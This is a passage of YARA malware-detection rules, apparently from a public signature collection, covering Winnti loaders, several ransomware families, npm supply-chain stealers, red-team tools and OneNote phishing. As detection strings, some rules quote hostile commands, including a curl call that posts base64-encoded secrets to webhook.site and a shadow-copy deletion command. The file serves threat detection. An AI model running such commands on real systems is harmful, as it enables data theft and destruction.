		$0x14000184c = { 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 F8 FF }
		$0x140001881 = { B8 0C 00 E0 0C 48 83 C4 28 C3 }
		$0x14000188b = { 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 F8 FF }
		$0x1400018e4 = { B8 0D 00 E0 0C 48 83 C4 28 C3 }
		$0x1400018ee = { 48 8D 0D ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 41 B8 A0 01 00 00 E8 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? 01 00 00 00 }
		$0x140001911 = { 33 C0 48 83 C4 28 C3 }
		$0x140001670 = { 40 55 56 57 41 55 41 56 41 57 B8 38 12 00 00 E8 ?? ?? ?? ?? 48 2B E0 48 8B 05 ?? ?? ?? ?? 48 33 C4 48 89 84 24 10 12 00 00 48 8B AC 24 90 12 00 00 4C 8B B4 24 A0 12 00 00 45 33 FF 44 39 3D ?? ?? ?? ?? 49 8B F1 41 0F B7 F8 4C 8B EA 44 8B D9 66 44 89 7C 24 40 }
		$0x1400016c8 = { B8 01 00 E0 0C }
		$0x1400016d2 = { 48 89 9C 24 30 12 00 00 4D 85 C9 }
		$0x1400016ec = { 8B 9C 24 98 12 00 00 83 FB 01 }
		$0x1400016fc = { 48 8D 54 24 40 }
		$0x140001701 = { 4C 89 A4 24 28 12 00 00 E8 ?? ?? ?? ?? 44 0F B7 64 24 40 66 44 3B E7 }
		$0x140001727 = { 48 8D 54 24 40 41 8B CB E8 ?? ?? ?? ?? 0F B7 94 24 A8 12 00 00 66 39 54 24 40 }
		$0x140001750 = { 41 8B CB E8 ?? ?? ?? ?? 8B F8 83 F8 FF }
		$0x14000175f = { B8 0F 00 E0 0C }
		$0x140001764 = { 4C 8B A4 24 28 12 00 00 }
		$0x14000176c = { 48 8B 9C 24 30 12 00 00 }
		$0x140001774 = { 48 8B 8C 24 10 12 00 00 48 33 CC E8 ?? ?? ?? ?? 48 81 C4 38 12 00 00 41 5F 41 5E 41 5D 5F 5E 5D C3 }
		$0x140001795 = { 48 8D 4C 24 54 33 D2 41 B8 B4 11 00 00 44 89 7C 24 50 E8 ?? ?? ?? ?? 48 8D 44 24 50 48 89 44 24 30 45 0F B7 CC 4D 8B C5 49 8B D6 8B CF 44 89 7C 24 28 44 89 7C 24 20 E8 ?? ?? ?? ?? 85 C0 }
		$0x1400017d5 = { 4C 8D 4C 24 50 44 8B C3 48 8B D5 48 8B CE E8 ?? ?? ?? ?? 48 8D 4C 24 50 8B D8 E8 ?? ?? ?? ?? 8B C3 }
		$0x1400017fb = { B8 04 00 E0 0C }
		$0x140001805 = { B8 03 00 E0 0C }
		$0x14000180f = { B8 02 00 E0 0C }
	condition:
		all of them
}

rule SIGNATURE_BASE_Winnti_Dropper_X86_Libtomcrypt_Fns : TAU CN APT
{
	meta:
		description = "Designed to catch winnti 4.0 loader and hack tool x86"
		author = "CarbonBlack Threat Research"
		id = "48e7a3b0-55c7-5db5-855f-1614bd00afb4"
		date = "2019-08-26"
		modified = "2025-08-11"
		reference = "https://www.carbonblack.com/2019/09/04/cb-tau-threat-intelligence-notification-winnti-malware-4-0/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_winnti.yar#L334-L375"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "84bfe001758677ff3a0d60d98e29c33ad1525a0afb27b73df750b2131e298879"
		score = 75
		quality = 85
		tags = "TAU, CN, APT"
		rule_version = 1
		yara_version = "3.8.1"
		confidence = "Prod"
		oriority = "High"
		TLP = "White"
		exemplar_hashes = "0fdcbd59d6ad41dda9ae8bab8fad9d49b1357282027e333f6894c9a92d0333b3"
		sample_md5 = "da3b64ec6468a4ec56f977afb89661b1"
	strings:
		$0x401d20 = { 8B 0D ?? ?? ?? ?? 33 C0 85 C9 }
		$0x401d30 = { 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 04 83 F8 ?? }
		$0x401d46 = { 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 10 83 F8 ?? }
		$0x401d76 = { 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 1C 83 F8 ?? }
		$0x401dc4 = { 56 57 B9 ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? 33 C0 F3 A5 5F C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 5E C3 }
		$0x401bd0 = { 55 8B EC B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 53 56 57 85 C0 C7 45 FC ?? ?? ?? ?? }
		$0x401bf4 = { 8B 45 14 85 C0 }
		$0x401bff = { 8B 45 18 85 C0 }
		$0x401c14 = { 8B 7D 08 8D 45 FC 50 57 E8 ?? ?? ?? ?? 8B 75 ?? 83 C4 08 66 }
		$0x401c31 = { 8B 45 0C 85 C0 }
		$0x401c3c = { 8D 4D FC 51 57 E8 ?? ?? ?? ?? 66 8B 55 FC 83 C4 08 66 3B 55 24 }
		$0x401c57 = { 8B 5D 20 85 DB }
		$0x401c62 = { 57 E8 ?? ?? ?? ?? 8B D0 83 C4 04 83 FA ?? }
		$0x401c72 = { B9 ?? ?? ?? ?? 33 C0 8D BD 48 EE FF FF C7 85 44 EE FF FF ?? ?? ?? ?? F3 AB 8B 4D 0C 8D 85 44 EE FF FF 50 6A ?? 81 E6 FF FF 00 00 6A ?? 56 51 53 52 E8 ?? ?? ?? ?? 83 C4 1C 85 C0 }
		$0x401caf = { 8B 45 1C 8B 4D 18 8D 95 44 EE FF FF 52 8B 55 14 50 51 52 E8 ?? ?? ?? ?? 8B F0 8D 85 44 EE FF FF 50 E8 ?? ?? ?? ?? 83 C4 14 8B C6 5F 5E 5B 8B E5 5D C3 }
		$0x401ce1 = { 5F 5E B8 ?? ?? ?? ?? 5B 8B E5 5D C3 }
		$0x401ced = { 5F 5E B8 ?? ?? ?? ?? 5B 8B E5 5D C3 }
		$0x401cf9 = { 5F 5E B8 ?? ?? ?? ?? 5B 8B E5 5D C3 }
		$0x401d05 = { 5F 5E B8 ?? ?? ?? ?? 5B 8B E5 5D C3 }
		$0x401d16 = { 5F 5E 5B 8B E5 5D C3 }
	condition:
		all of them
}

rule SIGNATURE_BASE_MAL_RANSOM_Darkbit_Feb23_1 : FILE
{
	meta:
		description = "Detects indicators found in DarkBit ransomware"
		author = "Florian Roth"
		id = "d209a0c2-f649-5fb1-9ecd-f1c35caa796f"
		date = "2023-02-13"
		modified = "2023-12-05"
		reference = "https://twitter.com/idonaor1/status/1624703255770005506?s=12&t=mxHaauzwR6YOj5Px8cIeIw"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_ransom_darkbit_feb23.yar#L2-L23"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "ba1baea7cb7362160c4b00b0355000a789b238c1ec82b840479c04028e6ca3ab"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$s1 = ".onion" ascii
		$s2 = "GetMOTWHostUrl"
		$x1 = "hus31m7c7ad.onion"
		$x2 = "iw6v2p3cruy"
		$xn1 = "You will receive decrypting key after the payment."
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 10MB and ( 1 of ( $x* ) or 2 of them ) or 4 of them or ( filesize < 10MB and $xn1 )
}

rule SIGNATURE_BASE_MAL_RANSOM_Darkbit_Feb23_2 : FILE
{
	meta:
		description = "Detects Go based DarkBit ransomware (garbled code; could trigger on other obfuscated samples, too)"
		author = "Florian Roth"
		id = "f530815c-68e7-55f1-8e36-bc74a1059584"
		date = "2023-02-13"
		modified = "2023-12-05"
		reference = "https://www.hybrid-analysis.com/sample/9107be160f7b639d68fe3670de58ed254d81de6aec9a41ad58d91aa814a247ff?environmentId=160"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_ransom_darkbit_feb23.yar#L25-L45"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "577435536300902811612a3415e82420574c98345b91b21fb2bfd2bfde396bec"
		score = 75
		quality = 85
		tags = "FILE"
		hash1 = "9107be160f7b639d68fe3670de58ed254d81de6aec9a41ad58d91aa814a247ff"
	strings:
		$s1 = "runtime.initLongPathSupport" ascii fullword
		$s2 = "reflect." ascii
		$s3 = "    \"processes\": []," ascii fullword
		$s4 = "^!* %!(!" ascii fullword
		$op1 = { 4d 8b b6 00 00 00 00 48 8b 94 24 40 05 00 00 31 c0 87 82 30 03 00 00 b8 01 00 00 00 f0 0f c1 82 00 03 00 00 48 8b 44 24 48 48 8b 0d ba 1f 32 00 }
		$op2 = { 49 8d 49 01 0f 1f 00 48 39 d9 7c e2 b9 0b 00 00 00 49 89 d8 e9 28 fc ff ff e8 89 6c d7 ff }
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 20000KB and all of them
}

rule SIGNATURE_BASE_Brooxml_Hunting : HUNTING FILE
{
	meta:
		description = "Detects Microsoft OOXML files with prepended data/manipulated header"
		author = "Proofpoint"
		id = "1ffea1c7-9f97-5bb1-93d7-ce914765416f"
		date = "2024-11-27"
		modified = "2025-06-02"
		reference = "https://x.com/threatinsight/status/1861817946508763480"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_brooxml_dec24.yar#L2-L39"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "8a8d934fe9286c9d1c83a2a0676bb8a5f2501116b96cca32dc27136ecfb9325b"
		score = 70
		quality = 85
		tags = "HUNTING, FILE"
		category = "hunting"
	strings:
		$pk_ooxml_magic = {50 4b 03 04 [22] 13 00 [2] 5b 43 6f 6e 74 65 6e 74 5f 54 79 70 65 73 5d 2e 78 6d 6c}
		$pk_0102 = {50 4b 01 02}
		$pk_0304 = {50 4b 03 04}
		$pk_0506 = {50 4b 05 06}
		$pk_0708 = {50 4b 07 08}
		$word = "word/"
		$ole = {d0 cf 11 e0}
		$tef = {78 9f 3e 22}
	condition:
		$pk_ooxml_magic in ( 4 .. 16384 ) and $pk_0506 in ( 16384 .. filesize ) and #pk_0506 == 1 and #pk_0102 > 2 and #pk_0304 > 2 and $word and not ( $pk_0102 at 0 ) and not ( $pk_0304 at 0 ) and not ( $pk_0506 at 0 ) and not ( $pk_0708 at 0 ) and not ( $ole at 0 ) and not ( uint16( 0 ) == 0x5a4d ) and not ( $tef at 0 )
}

rule SIGNATURE_BASE_Hacktool_MSIL_Sharpivot_3_1 : FILE
{
	meta:
		description = "This rule looks for .NET PE files that have the strings of various method names in the SharPivot code."
		author = "FireEye"
		id = "956ba026-c2fa-55fd-be53-0cfaa345f27a"
		date = "2020-12-08"
		modified = "2025-02-12"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_fireeye_redteam_tools.yar#L1145-L1174"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		hash = "e4efa759d425e2f26fbc29943a30f5bd"
		logic_hash = "f51ac9637f47a98beee1b3c37b594e292aab0e1d3f9e49c41b1f3c3ce02e17de"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$msil = "_CorExeMain" ascii wide
		$str1 = "SharPivot" ascii wide
		$str2 = "ParseArgs" ascii wide
		$str3 = "GenRandomString" ascii wide
		$str4 = "ScheduledTaskExists" ascii wide
		$str5 = "ServiceExists" ascii wide
		$str6 = "lpPassword" ascii wide
		$str7 = "execute" ascii wide
		$str8 = "WinRM" ascii wide
		$str9 = "SchtaskMod" ascii wide
		$str10 = "PoisonHandler" ascii wide
		$str11 = "SCShell" ascii wide
		$str12 = "SchtaskMod" ascii wide
		$str13 = "ServiceHijack" ascii wide
		$str14 = "ServiceHijack" ascii wide
		$str15 = "commandArg" ascii wide
		$str16 = "payloadPath" ascii wide
		$str17 = "Schtask" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and $msil and all of ( $str* )
}


rule SIGNATURE_BASE_MAL_Ransomware_Germanwiper : FILE
{
	meta:
		description = "Detects RansomWare GermanWiper in Memory or in unpacked state"
		author = "Frank Boldewin (@r3c0nst), modified by Florian Roth"
		id = "e7587691-f69a-53e7-bab2-875179fbfa19"
		date = "2019-08-05"
		modified = "2023-12-05"
		reference = "https://twitter.com/r3c0nst/status/1158326526766657538"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/crime_ransom_germanwiper.yar#L1-L27"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "dcb4f91006a893149a60e9708efb9de809f75c810bddfd2d90c8f6fffa0879ea"
		score = 75
		quality = 85
		tags = "FILE"
		hash_packed = "41364427dee49bf544dcff61a6899b3b7e59852435e4107931e294079a42de7c"
		hash_unpacked = "708967cad421bb2396017bdd10a42e6799da27e29264f4b5fb095c0e3503e447"
	strings:
		$x_Mutex1 = "HSDFSD-HFSD-3241-91E7-ASDGSDGHH" ascii
		$x_Mutex2 = "cFgxTERNWEVhM2V" ascii
		$PurgeCode = { 6a 00 8b 47 08 50 6a 00 6a 01 e8 ?? ?? ?? ??
                     50 e8 ?? ?? ?? ?? 8b f0 8b d7 8b c3 e8 }
		$ProcessKill1 = "sqbcoreservice.exe" ascii
		$ProcessKill2 = "isqlplussvc.exe" ascii
		$KillShadowCopies = "vssadmin.exe delete shadows" ascii
		$Domain1 = "cdnjs.cloudflare.com" ascii
		$Domain2 = "expandingdelegation.top" ascii
		$RansomNote = "Entschluesselungs_Anleitung.html" ascii
	condition:
		uint16( 0 ) == 0x5A4D and filesize < 1000KB and ( 1 of ( $x* ) or 3 of them )
}

rule SIGNATURE_BASE_MAL_JS_NPM_Supplychain_Attack_Sep25 : FILE
{
	meta:
		description = "Detects obfuscated JavaScript in NPM packages used in supply chain crypto stealer attacks in September 2025"
		author = "Florian Roth"
		id = "f9ab0aa0-2cfe-5fae-a452-2592c129e39b"
		date = "2025-09-09"
		modified = "2025-11-29"
		reference = "https://www.linkedin.com/feed/update/urn:li:activity:7370889385992437760/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/mal_npm_supply_chain_sep25.yar#L1-L20"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "1b83d1bd79cdff02ed2fff7bf1feb57801ff9a933de1bd4f7ceecf738213ab4c"
		score = 85
		quality = 85
		tags = "FILE"
		hash1 = "16f6c756bc8ce5ef5d9aa1ded0f811ec0c9cee3d8f85cc151b8ca1df7b8a4337"
	strings:
		$x1 = "const _0x112fa8=_0x180f;(function(_0x13c8b9" ascii
		$fp1 = "<html"
		$fp2 = "<xml "
		$fp3 = "<?xml"
	condition:
		filesize < 200KB and 1 of ( $x* ) and not 1 of ( $fp* )
}

rule SIGNATURE_BASE_MAL_JS_NPM_Supplychain_Compromise_Sep25 : FILE
{
	meta:
		description = "Detects a supply chain compromise in NPM packages (TinyColor, CrowdStrike etc.)"
		author = "Florian Roth"
		id = "ff4e1c0d-1c19-562a-be7f-5427359553cd"
		date = "2025-09-16"
		modified = "2025-09-17"
		reference = "https://socket.dev/blog/tinycolor-supply-chain-attack-affects-40-packages"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/mal_npm_supply_chain_sep25.yar#L22-L48"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "6ddcf152ee8b90496d9d3f7f51dc239d927a3a2095082d13c6cc7e21819097f4"
		score = 80
		quality = 85
		tags = "FILE"
	strings:
		$x1 = "if (plat === \"linux\") return \"https://github.com/trufflesecurity/trufflehog/releases"
		$sa1 = "curl -d \"$CONTENTS\" https://webhook.site/" ascii
		$sa2 = "curl -s -X POST -d \"$CONTENTS\" \"https://webhook.site/"
		$sb1 = " | base64 -w 0 | " ascii
		$sb2 = " | base64 -w0)"
	condition:
		filesize < 20MB and ( 1 of ( $x* ) or ( 1 of ( $sa* ) and 1 of ( $sb* ) ) ) and not uint8( 0 ) == 0x7b
}

rule SIGNATURE_BASE_LOG_EXPL_Adselfservice_CVE_2021_40539_ADSLOG_Sep21 : LOG CVE_2021_40539 FILE
{
	meta:
		description = "Detects suspicious log lines produeced during the exploitation of ADSelfService vulnerability CVE-2021-40539"
		author = "Florian Roth (Nextron Systems)"
		id = "156317c6-e726-506d-8b07-4f74dae2807f"
		date = "2021-09-20"
		modified = "2023-12-05"
		reference = "https://us-cert.cisa.gov/ncas/alerts/aa21-259a"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/expl_adselfservice_cve_2021_40539.yar#L2-L14"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "49b7857187c15f48e928747266adca44c227964cef72914616ea269b0e88fe73"
		score = 70
		quality = 85
		tags = "LOG, CVE-2021-40539, FILE"
	strings:
		$x1 = "Java traceback errors that include references to NullPointerException in addSmartCardConfig or getSmartCardConfig" ascii wide
	condition:
		filesize < 50MB and 1 of them
}


rule SIGNATURE_BASE_APT_MAL_Revil_Kaseya_Jul21_2 : FILE
{
	meta:
		description = "Detects malware used in the Kaseya supply chain attack"
		author = "Florian Roth (Nextron Systems)"
		id = "38b168d4-e761-544e-9859-eb155bbfe54a"
		date = "2021-07-02"
		modified = "2023-12-05"
		reference = "https://doublepulsar.com/kaseya-supply-chain-attack-delivers-mass-ransomware-event-to-us-companies-76e4ec6ec64b"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/crime_revil_general.yar#L32-L57"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "44948d93c71370a9976f22bf78cd1af80359f2c9804ea7995791109785cfaf84"
		score = 75
		quality = 85
		tags = "FILE"
		hash1 = "0496ca57e387b10dfdac809de8a4e039f68e8d66535d5d19ec76d39f7d0a4402"
		hash2 = "8dd620d9aeb35960bb766458c8890ede987c33d239cf730f93fe49d90ae759dd"
		hash3 = "cc0cdc6a3d843e22c98170713abf1d6ae06e8b5e34ed06ac3159adafe85e3bd6"
		hash4 = "d5ce6f36a06b0dc8ce8e7e2c9a53e66094c2adfc93cfac61dd09efe9ac45a75f"
		hash5 = "d8353cfc5e696d3ae402c7c70565c1e7f31e49bcf74a6e12e5ab044f306b4b20"
		hash6 = "e2a24ab94f865caeacdf2c3ad015f31f23008ac6db8312c2cbfb32e4a5466ea2"
	strings:
		$opa1 = { 8b 4d fc 83 c1 01 89 4d fc 81 7d f0 ff 00 00 00 77 1? ba 01 00 00 00 6b c2 00 8b 4d 08 }
		$opa2 = { 89 45 f0 8b 4d fc 83 c1 01 89 4d fc 81 7d f0 ff 00 00 00 77 1? ba 01 00 00 00 6b c2 00 }
		$opa3 = { 83 c1 01 89 4d fc 81 7d f0 ff 00 00 00 77 1? ba 01 00 00 00 6b c2 00 8b 4d 08 0f b6 14 01 }
		$opa4 = { 89 45 f4 8b 0d ?? ?0 07 10 89 4d f8 8b 15 ?? ?1 07 10 89 55 fc ff 75 fc ff 75 f8 ff 55 f4 }
		$opb1 = { 18 00 10 bd 18 00 10 bd 18 00 10 0e 19 00 10 cc cc cc }
		$opb2 = { 18 00 10 0e 19 00 10 cc cc cc cc 8b 44 24 04 }
		$opb3 = { 10 c4 18 00 10 bd 18 00 10 bd 18 00 10 0e 19 00 10 cc cc }
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 3000KB and ( 2 of ( $opa* ) or 3 of them )
}

rule SIGNATURE_BASE_APT_MAL_Maldoc_Cloudatlas_Oct20_1 : FILE
{
	meta:
		description = "Detects unknown maldoc dropper noticed in October 2020"
		author = "Florian Roth (Nextron Systems)"
		id = "e7caf2b2-caf2-5984-a792-8224f2641bda"
		date = "2020-10-13"
		modified = "2023-12-05"
		reference = "https://twitter.com/jfslowik/status/1316050637092651009"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_cloudatlas.yar#L2-L16"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "772bdd8ec89edf2054e675e9ecb321a7bfe0307a7086a4e5b65f8d8b8cf80ecc"
		score = 75
		quality = 85
		tags = "FILE"
		hash1 = "7ba76b2311736dbcd4f2817c40dae78f223366f2404571cd16d6676c7a640d70"
	strings:
		$x1 = "https://msofficeupdate.org" wide
	condition:
		uint16( 0 ) == 0xcfd0 and filesize < 300KB and 1 of ( $x* )
}

rule SIGNATURE_BASE_APT_MAL_URL_Cloudatlas_Oct20_2 : FILE
{
	meta:
		description = "Detects unknown maldoc dropper noticed in October 2020 - file morgue6visible5bunny6culvert7ambo5nun1illuminate4.url"
		author = "Florian Roth (Nextron Systems)"
		id = "91f6362f-1793-58a3-a750-04ec9812b9df"
		date = "2020-10-13"
		modified = "2023-12-05"
		reference = "https://twitter.com/jfslowik/status/1316050637092651009"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_cloudatlas.yar#L18-L37"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "8bb60c262a34babbe8839f5d39d1c972eeb41ea77eaae02cc877d908c7033f13"
		score = 75
		quality = 85
		tags = "FILE"
		hash1 = "a6a58b614a9f5ffa1d90b5d42e15521f52e2295f02c1c0e5cd9cbfe933303bee"
	strings:
		$hc1 = { 5B 49 6E 74 65 72 6E 65 74 53 68 6F 72 74 63 75
               74 5D 0D 0A 55 52 4C 3D 68 74 74 70 73 3A 2F 2F
               6D 73 6F 66 66 69 63 65 75 70 64 61 74 65 2E 6F
               72 67 }
	condition:
		uint16( 0 ) == 0x495b and filesize < 200 and $hc1 at 0
}

rule SIGNATURE_BASE_APT_MAL_RU_WIN_Snake_Malware_May23_1 : MEMORY
{
	meta:
		description = "Hunting Russian Intelligence Snake Malware"
		author = "Matt Suiche (Magnet Forensics)"
		id = "53d2de3c-350c-5090-84bb-b6cde16a80ad"
		date = "2023-05-10"
		modified = "2025-03-21"
		reference = "https://media.defense.gov/2023/May/09/2003218554/-1/-1/0/JOINT_CSA_HUNTING_RU_INTEL_SNAKE_MALWARE_20230509.PDF"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_mal_ru_snake_may23.yar#L17-L42"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "7cff7152259bb17a9b72b91f0fbef220aad2f35a1d2758d7225316a9896bf845"
		score = 70
		quality = 71
		tags = "MEMORY"
		threat_name = "Windows.Malware.Snake"
		scan_context = "memory"
		license = "MIT"
	strings:
		$a = { 25 73 23 31 }
		$b = { 25 73 23 32 }
		$c = { 25 73 23 33 }
		$d = { 25 73 23 34 }
		$e = { 2e 74 6d 70 }
		$g = { 2e 73 61 76 }
		$h = { 2e 75 70 64 }
	condition:
		all of them
}

rule SIGNATURE_BASE_SUSP_Email_Suspicious_Onenote_Attachment_Jan23_1 : FILE
{
	meta:
		description = "Detects suspicious OneNote attachment that embeds suspicious payload, e.g. an executable (FPs possible if the PE is attached separately)"
		author = "Florian Roth (Nextron Systems)"
		id = "492b74c2-3b81-5dff-9244-8528565338c6"
		date = "2023-01-27"
		modified = "2023-12-05"
		reference = "Internal Research"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_onenote_phish.yar#L2-L39"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "c7c5fc86f1dbe54da2d3ff8f039c5e53c3d1f67c9271cb467b2318310f744f93"
		score = 65
		quality = 85
		tags = "FILE"
	strings:
		$ge1 = "5xbjvWUmEUWkxI1NC3qer"
		$ge2 = "cW471lJhFFpMSNTQt6nq"
		$ge3 = "nFuO9ZSYRRaTEjU0Lep6s"
		$sp1 = "VGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZG"
		$sp2 = "RoaXMgcHJvZ3JhbSBjYW5ub3QgYmUgcnVuIGluIERPUyBtb2Rl"
		$sp3 = "UaGlzIHByb2dyYW0gY2Fubm90IGJlIHJ1biBpbiBET1MgbW9kZ"
		$sp4 = "VGhpcyBwcm9ncmFtIG11c3QgYmUgcnVuIHVuZGVy"
		$sp5 = "RoaXMgcHJvZ3JhbSBtdXN0IGJlIHJ1biB1bmRlc"
		$sp6 = "UaGlzIHByb2dyYW0gbXVzdCBiZSBydW4gdW5kZX"
		$se1 = "QGVjaG8gb2Zm"
		$se2 = "BlY2hvIG9mZ"
		$se3 = "AZWNobyBvZm"
		$se4 = "PEhUQTpBUFBMSUNBVElPTi"
		$se5 = "xIVEE6QVBQTElDQVRJT04g"
		$se6 = "8SFRBOkFQUExJQ0FUSU9OI"
		$se7 = "TAAAAAEUAg"
		$se8 = "wAAAABFAIA"
		$se9 = "MAAAAARQCA"
	condition:
		filesize < 5MB and 1 of ( $ge* ) and 1 of ( $s* )
}

rule SIGNATURE_BASE_SUSP_Email_Suspicious_Onenote_Attachment_Jan23_2 : FILE
{
	meta:
		description = "Detects suspicious OneNote attachment that has a file name often used in phishing attacks"
		author = "Florian Roth (Nextron Systems)"
		id = "f8c58c73-2404-5ce6-8e8f-99b0dad84ad0"
		date = "2023-01-27"
		modified = "2023-12-05"
		reference = "Internal Research"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_onenote_phish.yar#L41-L61"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "eb6f992ce186022f04613af3bf4df629b00d85eac151f8bbd4b8ef96e6892eab"
		score = 65
		quality = 85
		tags = "FILE"
	strings:
		$hc1 = { 2E 6F 6E 65 22 0D 0A 0D 0A 35 46 4A 63 65 }
		$x01 = " attachment; filename=\"Invoice" nocase
		$x02 = " attachment; filename=\"ORDER" nocase
		$x03 = " attachment; filename=\"PURCHASE" nocase
		$x04 = " attachment; filename=\"SHIP" nocase
	condition:
		filesize < 5MB and $hc1 and 1 of ( $x* )
}

rule SIGNATURE_BASE_SUSP_Onenote_Embedded_Filedatastoreobject_Type_Jan23_1 : FILE
{
	meta:
		description = "Detects suspicious embedded file types in OneNote files"
		author = "Florian Roth"
		id = "b8ea8c7b-052f-5a97-9577-99903462ea84"
		date = "2023-01-27"
		modified = "2023-02-27"
		reference = "https://blog.didierstevens.com/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_onenote_phish.yar#L63-L106"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "d91ca297ea96f80534085f174d335ffe961c569534f043c5c2ae8d6a9f7ac083"
		score = 65
		quality = 85
		tags = "FILE"
	strings:
		$x1 = { e7 16 e3 bd 65 26 11 45 a4 c4 8d 4d 0b 7a 9e ac 
